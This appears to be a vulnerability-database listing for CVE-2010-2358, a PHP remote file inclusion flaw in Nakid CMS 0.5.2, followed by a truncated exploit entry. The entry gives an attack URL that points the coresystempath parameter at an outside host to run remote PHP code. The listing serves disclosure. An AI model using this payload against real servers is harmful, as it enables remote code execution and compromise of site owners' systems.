CVE-2010-2358: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in modules/catalog/uploadphoto.php in Nakid CMS 0.5.2, when magicquotesgpc is disabled and registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the coresystempath parameter. NOTE: some of these details are obtained...

Nakid CMS 0.5.2 Remote Include Exploit

Exploit for php platform in category web applications ====================================== Nakid CMS 0.5.2 Remote Include Exploit ====================================== Nakid CMS 0.5.2 Remote Include Exploit Found by sh00t0ut Expl: http://victim/modules/catalog/uploadphoto.php?coresystempath=ev...